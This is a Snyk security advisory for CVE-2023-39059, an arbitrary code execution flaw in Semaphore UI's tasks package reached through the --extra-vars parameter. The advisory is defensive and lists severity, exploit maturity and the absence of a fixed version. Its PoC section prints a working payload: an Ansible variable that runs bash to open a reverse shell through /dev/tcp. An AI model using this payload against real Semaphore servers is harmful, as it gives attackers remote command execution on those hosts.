Arbitrary Code Execution Affecting github.com/semaphoreui/semaphore/services/tasks package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.39% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMSEMAPHOREUISEMAPHORESERVICESTASKS-9380754
  • published11 Mar 2025
  • disclosed28 Aug 2023
  • creditLenin Alevski

Introduced: 28 Aug 2023

CVE-2023-39059  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

There is no fixed version for github.com/semaphoreui/semaphore/services/tasks.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution via the --extra-vars parameter, which allows an attacker to send a crafted payload.

PoC

{"ansible_user": "{{ lookup('ansible.builtin.pipe', \"bash -c 'exec bash -i &>/dev/tcp/127.0.0.1/1337 <&1'\") }}"}

References

CVSS Base Scores

version 3.1